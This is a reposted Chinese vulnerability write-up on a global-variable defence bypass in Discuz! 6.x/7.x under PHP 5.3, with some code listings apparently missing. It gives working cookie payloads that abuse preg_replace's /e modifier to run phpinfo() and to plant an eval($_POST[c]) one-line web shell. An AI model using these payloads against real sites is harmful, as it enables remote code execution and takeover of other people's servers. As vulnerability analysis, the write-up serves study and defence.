zoukankan      html  css  js  c++  java
  • Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

    漏洞概述:

    由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。

    漏洞分析:

    include/global.func.php代码里:

    include/common.inc.php里:

    模拟register_globals功能的代码,在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少:(

    不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:

    这样就没法提交GLOBALS变量了么?

    $_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了:)

    discuz_rce

    漏洞利用

    include/discuzcode.func.php

    注意到:
    $message = preg_replace($GLOBALS[‘_DCACHE’][‘smilies’][‘searcharray’], $GLOBALS[‘_DCACHE’][‘smilies’][‘replacearray’], $message, $maxsmilies);
    请求中Cookie带

    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
    即可执行phpinfo。
    GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;
    即一句话木马。

    此后门漏洞十分隐蔽,不容易发现。

    利用条件:

    1.discuz 6.x / 7.x

    2.request_order默认值为GP

    K8飞刀的exp:

    参考地址:

    http://www.80vul.com/dzvul/sodb/19/sodb-2010-01.txt

    Discuz!某两个版本前台产品命令执行(无需登录)

    http://www.wooyun.org/bugs/wooyun-2010-080723

    转载请注明:安全脉搏 » Discuz! 6.x/7.x 全局变量防御绕过导致命令执行

  • 相关阅读:
    [转]ARM QT实现多点触摸
    Accessors are only available when targeting ECMAScript 5 and higher 错误提示
    设置全局变量
    ERROR Error: Cannot find module ‘vueloaderv16/package.json‘
    JVM系列三:JVM参数设置、分析
    HDU 1407 测试你是否和LTC水平一样高
    HDU 1276 士兵队列训练问题
    python类的学习笔记1
    manjaro更新到了20版本fcitx5出问题的解决方法
    图片网站
  • 原文地址:https://www.cnblogs.com/dongchi/p/4156394.html
Copyright © 2011-2022 走看看